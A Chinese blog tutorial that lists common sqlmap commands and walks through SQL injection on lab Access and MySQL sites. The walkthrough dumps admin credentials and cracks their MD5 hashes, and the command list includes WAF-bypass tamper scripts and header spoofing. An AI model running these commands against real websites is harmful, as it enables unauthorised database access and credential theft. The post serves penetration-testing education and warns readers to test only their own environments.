Sqlmap常用命令总结及注入实战(Access、mysql)

版权声明:本文为博主原创文章,转载请注明出处! https://blog.csdn.net/qq_37964989/article/details/84109094

sqlmap常用命令总结:

注意:命令为kali linux中运行的 (windows中用python sqlmap.py执行)

1#、注入六连:

1.   sqlmap -u  "http://www.xx.com?id=x"    【查询是否存在注入点

2.     --dbs         【检测站点包含哪些数据库

3.     --current-db    【获取当前的数据库名

4.     --tables -D "db_name"  【获取指定数据库中的表名 -D后接指定的数据库名称

5.     --columns  -T "table_name" -D "db_name"  【获取数据库表中的字段

6.     --dump -C "columns_name" -T "table_name" -D "db_name"  【获取字段的数据内容

2#、COOKIE注入:

sqlmap -u "http://www.xx.com?id=x" --cookie "cookie" --level 2  【cookie注入 后接cookie值

3#、POST注入:

  • (1)目标地址http:// www.xxx.com /login.asp
  • (2)打开brup代理。
  • (3)点击表单提交
  • (4)burp获取拦截信息(post)
  • (5)右键保存文件(.txt)到指定目录下
  • (6)运行sqlmap并执行如下命令:

用例:sqlmap -r okay.txt  -p  username

// -r表示加载文件(及步骤(5)保存的路径),-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)

(7)自动获取表单--forms自动获取表单

例如:sqlmap -u www.xx.com/login.asp --forms

(8)指定参数搜索:--data

例如:sqlmap -u www.xx.com/login.asp --data "username=1"

4#、常用指令:

1.    --purge      【重新扫描(--purge 删除原先对该目标扫描的记录)

2.    --tables      【获取表名

3.     --dbs         【检测站点包含哪些数据库

4.     --current-db    【获取当前的数据库名

5.     --current-user  【检测当前用户

6.    --is-dba   【判断站点的当前用户是否为数据库管理员

7.    --batch      【默认确认,不询问你是否输入

8.    --search  【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)

9.    --threads 10  【线程,sqlmap线程最高设置为10

10.  --level 3        【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头
                                的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
11.  --risk 3           【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全

12.     -v   【详细的等级(0-6)
          0:只显示Python的回溯,错误和关键消息。
          1:显示信息和警告消息。
          2:显示调试消息。
          3:有效载荷注入。
          4:显示HTTP请求。
          5:显示HTTP响应头。
          6:显示HTTP响应页面的内容

13.    --privileges  【查看权限

14.   --tamper xx.py,cc.py   【防火墙绕过,后接tamper库中的py文件

15.  --method "POST" --data "page=1&id=2"   【POST方式提交数据

16.  --threads number  【采用多线程 后接线程数

17.  --referer  ""  【使用referer欺骗

18.  --user-agent ""     【自定义user-agent

19.  --proxy “目标地址″   【使用代理注入

sqlmap常用路径:

1. 添加表字段的目录在/usr/share/sqlmap/txt/common-tables.txt

2. 存放扫描记录的目录在/root/.sqlmap/output

环境准备:

1. Vmware虚拟机

2. 渗透环境:Kali linux (本地版本2018.4)(windows下安装python2和sqlmap也可进行实验)

3. web环境:windos2003 server

(建议学习搭建自己的web环境进行实验攻击,切勿拿别人网站做实验)

注入实战之Access:

温馨提醒:注重自己搭环境进行实战测试,勿对其他网站进行破坏测试。

1. 寻找注入点

2.  可先进行手工测试是否存在漏洞

3. 发现可以注入漏洞,便可手工注入,本文展示sqlmap工具的注入使用

    使用命令:sqlmap -u "http://192.168.96.16/shownews.asp?id=23"

   

   

   得到扫描结果:扫描类型盲注,id存在注入点,服务器使用的数据库为Access

4.列出所有的表(获取表)

使用指令:sqlmap -u "http://192.168.96.16/shownews.asp?id=23" --tables --purge

得到爆破出的表名:

注意在此manage_user为管理员的表,对我们有用的表。但是这个manage_user字符串在sqlmap的爆破表中是不存在的,

是我后面手工添加的字段,

sqlmap中添加表名字段的目录在/usr/share/sqlmap/txt/common-tables.txt中

5. 获取表中的字段(获取列):

sqlmap -u "http://192.168.96.16/shownews.asp?id=23" --columns -T "manage_user"   

(--columns为获取列字段,-T为指定的表名)

6. 获取列字段的内容

使用指令:sqlmap -u "http://192.168.96.16/shownews.asp?id=23" --dump -C "username,password" -T "manage_user"

(--dump 打印出来 -C 后接需要获取的字段名 -T为指定的表名)

得到用户名admin以及经过md5加密过后的密码3acdbb255b45d296,百度md5破解得密码0791idc

自此,sqlmap对Access数据库的使用结束。

注入实战之Mysql:

温馨提醒:注重自己搭环境进行实战测试,勿对其他网站进行破坏测试。

1.手工寻找注入点

   2. sqlmap检查注入点

 使用命令:sqlmap -u "192.168.96.16/info_show.php?info_id=138"

检查出是mysql数据库,询问是否跳过对其他类型数据库的检测,选择Y 跳过。

检测等级与风险等级为一,共三级,越高检测越复杂的数据库信息。

检测结果得到info_id存在注入点,注入类型为盲注,数据库为Mysql。

3. 检测使用的数据库

使用指令:sqlmap -u "192.168.96.16/info_show.php?info_id=138" --current-db

4. 检测数据库中的表名(获取表)

使用指令:  sqlmap -u "192.168.96.16/info_show.php?info_id=138" --tables -D "govcn"

5. 检测表中的字段名(获取列)

使用指令:  sqlmap -u "192.168.96.16/info_show.php?info_id=138" --columns -T "admin" -D "govcn"

6. 获取字段内容

使用指令:sqlmap -u "192.168.96.16/info_show.php?info_id=138" --dump -C "username,password" -T "admin" -D "govcn"

得到用户名admin,以及md5加密后的密码,百度md5破解得到密码为admin。

至此,sqlmap实战对于mysql的应用到此结束。

OK~大功告成

  • 若有错误或不妥之处劳烦大伙们指出,虚心求教,收到后及时改正!!!

猜你喜欢

转载自blog.csdn.net/qq_37964989/article/details/84109094
今日推荐